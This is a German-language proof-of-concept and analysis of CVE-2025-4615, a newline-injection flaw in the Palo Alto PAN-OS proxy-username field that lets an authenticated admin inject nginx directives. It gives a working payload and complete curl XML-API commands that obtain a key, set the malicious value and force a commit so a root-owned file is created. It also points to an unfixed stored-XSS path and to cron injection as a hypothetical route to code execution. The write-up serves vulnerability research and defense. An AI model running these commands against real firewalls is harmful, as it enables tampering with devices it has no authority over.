
cve-2025-4615 poc & deep dive
Vulnerability: Unsachgemäße Neutralisierung von Eingaben in der PAN-OS-Verwaltungs-Webschnittstelle
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MITTEL) — Integrität HOCH, Verfügbarkeit HOCH
CWE: CWE-83 (Unsachgemäße Neutralisierung von Skripten in Attributen einer Webseite)
CAPEC: CAPEC-165 (Dateimanipulation)
Quelle: Visa Inc.
Datum der Analyse: 2026-03-26
CVE-2025-4615 ist eine Newline-Injection-Schwachstelle im Konfigurationsfeld secure-proxy-user von Palo Alto Networks PAN-OS. Ein authentifizierter Administrator kann über die XML-API oder die Weboberfläche Newline-Zeichen (\n) in den Proxy-Benutzernamen injizieren. Bei einem Commit wird dieser Wert unbereinigt in /etc/nginx/nginx.conf geschrieben, wodurch eine Kommentarzeile verlassen und beliebige nginx-Direktiven injiziert werden.
Auswirkungen:
access_log-DirektiveHinweis: Die Korrektur des Herstellers (Entfernen von Newline-Zeichen) ist unvollständig — dasselbe Feld bleibt anfällig für gespeichertes Cross-Site Scripting (XSS), da keine Ausgabekodierung oder Zeichen-Whitelist angewendet wird.
Das Feld secure-proxy-user ist im PAN-OS-Schema (schema.xml) als einfacher String ohne Eingabebereinigung definiert:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Hinweis: secure-proxy-server hat eine Regex-Einschränkung (regex="^([0-9a-zA-Z.:/_-])+$"), aber secure-proxy-user hat keine. Es gibt eine Längenbegrenzung von 31 Zeichen, aber keine Zeichenbeschränkungen.
Während eines Commits generiert PAN-OS /etc/nginx/nginx.conf aus einer Vorlage (/etc/nginx/nginx.conf.tmpl) neu. Die Vorlage enthält:
#pan_proxy_comment %s
Der Platzhalter %s wird durch die Bibliotheksfunktion libpanmp_mp.so gefüllt, die Proxy-Server, Benutzername und verschlüsseltes Passwort zu einem einzigen String verkettet. In der anfälligen Version werden Newline-Zeichen im Benutzernamen unverändert übernommen.
Wenn secure-proxy-user a\naccess_log /tmp/pwn3;\n# enthält, wird die generierte nginx.conf zu:
#pan_proxy_comment 8.8.8.9 a — Kommentar (harmlos)
access_log /tmp/pwn3; — INJIZIERTE DIREKTIVE (von nginx ausgeführt!)
# -AQ==encrypted_password== — Passwort durch injiziertes # auskommentiert
Zeile 1 ist ein Kommentar. Zeile 2 ist eine gültige nginx-Direktive auf der http-Ebene. Zeile 3 wird durch das #-Zeichen des Angreifers neutralisiert.
Der nginx-Masterprozess läuft als root. Die access_log-Direktive veranlasst nginx, die Zieldatei als root zu öffnen/erstellen. Dies ermöglicht:
In der behobenen Version (11.1.13) entfernt der Konfigurationsschreiber Newline-Zeichen aus dem Proxy-Benutzernamen, bevor er in die nginx.conf geschrieben wird. Derselbe bösartige Wert erzeugt:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Alles bleibt in einer Zeile, sicher innerhalb des #-Kommentars.
Diese Korrektur ist jedoch unvollständig. Sie behebt nur die Newline-Injection. Das Feld secure-proxy-user akzeptiert weiterhin beliebige Zeichen (einschließlich ", <, >) ohne Ausgabekodierung, sodass der gespeicherte XSS-Vektor weit offen bleibt. Siehe unit-43-xss.
secure-proxy-server (erforderlich, damit der Proxy-Kommentar erscheint)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Gesamt: 26 Zeichen (innerhalb des 31-Zeichen-Limits)
# Injiziert: access_log /tmp/pwn3; — erstellt /tmp/pwn3 als root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Nach Abschluss des Commits (~30s):
/tmp/pwn3 wird mit root-Besitzer erstelltnginx -t -c /etc/nginx/nginx.conf meldet: syntax is okDer unbereinigte Wert secure-proxy-user verbreitet sich auf mehrere Dateien:
Die Schreiber von curlrc (/root/.curlrc) und wgetrc (/root/.wgetrc) entfernen Newlines, selbst in der anfälligen Version. Der nginx.conf-Schreiber war der einzige Pfad, der nicht bereinigte.
Umfangreiche Tests von 11 Angriffsvektoren bestätigten, dass alleinstehende OS-Level-RCE aus CVE-2025-4615 auf PAN-OS 11.1.6-h7 mit nginx 1.20.1 nicht erreichbar ist. Die drei kritischen Hindernisse:
\x0A-Escape — verhindert rohe Newline-Injection in Logdateien, blockiert Cron-Injection trotz der Toleranz von vixie-cron gegenüber Müllzeilen (laborbestätigt: Cron führt gültige Zeilen aus, die von Müll umgeben sind)log_format + access_log, um Inhaltskontrolle über geschriebene Dateien zu erlangenDie „Ausführung beliebiger Befehle“ in der Advisory bezieht sich höchstwahrscheinlich auf beliebige nginx-Direktiven, nicht auf OS-Level-Befehlsausführung. Dies steht im Einklang mit dem CVSS VC:N (keine Auswirkungen auf die Vertraulichkeit) und der Art der Korrektur.
Wenn eines der drei Hindernisse fehlen würde, wäre RCE trivial über Cron-Injection erreichbar.
Analyse durchgeführt in isolierter Laborumgebung mit PAN-OS 11.1.6-h7 (anfällig) und PAN-OS 11.1.13 (behoben).
| Datei | Auswirkung |
|---|
/etc/nginx/nginx.conf | Kritisch — Injektion von nginx-Direktiven |
/opt/pancfg/tmp/.tdb_conf.xml | Template-DB-Konfiguration (XML-Injection) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Prüfpfad-Beschädigung |
/opt/pancfg/mgmt/replaydb/replay.db | Wiedergabedatenbank-Beschädigung |
| XSL-generierte Daemon-Konfigurationen (authd, cord, useridd usw.) | XML-Wert mit Newlines erhalten |